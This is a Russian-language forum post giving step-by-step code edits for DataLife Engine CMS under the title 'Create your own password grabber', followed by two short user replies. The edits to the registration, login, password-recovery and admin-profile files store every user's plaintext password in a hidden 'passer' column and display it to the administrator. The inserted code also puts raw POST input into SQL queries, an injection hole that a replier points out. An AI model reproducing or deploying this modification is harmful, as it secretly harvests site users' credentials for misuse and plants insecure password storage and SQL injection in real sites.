Модуль Создаем свой граббер паролей ;)

[dragonstyle]

Создаем грабер паролей...

Сейчас расскажу в этой статье вам как за 10 минут сделать грабер паролей..

Что нужно:
Колонка в мускуле и изменения кода файлов...

Добавляем колонку в таблицу с юзерами, назовем ее passer(а так как хотите, только потом в запросах замените)...

Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.

Теперь нужно рассмотреть 3 ситуации:
Регистрация.
Вход.
Востановления пароля
Админка

1) регистрация.
открываем engine/modules/register.php
ищем

Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.

ниже вставляем

Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.

ищем запрос в базу (в конце..)

Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.

вставляем колонку passer

Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.

готово, сохраняем...
регистрацию сделали...
2) востановление пароля
открываем engine/modules/lostpassword.php
ищем:

$db->query( "UPDATE " . USERPREFIX . "_users set password='" . md5( md5( $new_pass ) ) . "', allowed_ip = '' WHERE user_id='$douser'" );

заменяем на

$db->query( "UPDATE " . USERPREFIX . "_users set password='" . md5( md5( $new_pass ) ) . "', passer='".$new_pass."', allowed_ip = '' WHERE user_id='$douser'" );

готово, сохраняем...

3)вход на сайт
открываем engine/modules/sitelogin.php
ищем

$_POST['login_password'] = md5( $_POST['login_password'] );

ДО ЭТОГО вставляем

$passer = $_POST['login_password'];

ниже в 2 местах ищем

lastdate='{$_TIME}', logged_ip='" . $_IP . "'

заменяем на

lastdate='{$_TIME}', logged_ip='" . $_IP . "', passer='".$passer."'

по смыслу все...

4)админка
теперь добавляем вывод пароля при просмотре профиля в админке...

открываем engine/inc/editusers.php
ищем

    <tr>
        <td style="padding:4px;">{$lang['user_newpass']}</td>
        <td colspan="2"><input size="20" name="editpass" class="edit"></td>
    </tr>

ниже вставляем:

    <tr>
        <td style="padding:4px;">Пароль:</td>
        <td colspan="2">{$row['passer']}</td>
    </tr>

или, чтобы просмотр был возможен только пользователю с id=1

Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.

Идея взята с Password Base 4.0
Сделал: MATRIX

p.s. идея модуля не продается...
Некоторое взял под хайд 3, кто нибудь да поймет причину
Исправлена ошибка в работе с базой

 

[Mutant]

Столкнулся с тем, что если в настройках движка стоит подтверждение регистрации через e-mail, то после перехода по ссылки активации, (которая на почту приходит) mysql выдает ошибку по поводу несовпадения полей. Если же сделать упрощенную регистрацию - все проходит на ура.

 

[PoMaH]

подняли такйю старую тему... а в неи и фильтрации данных даже нет...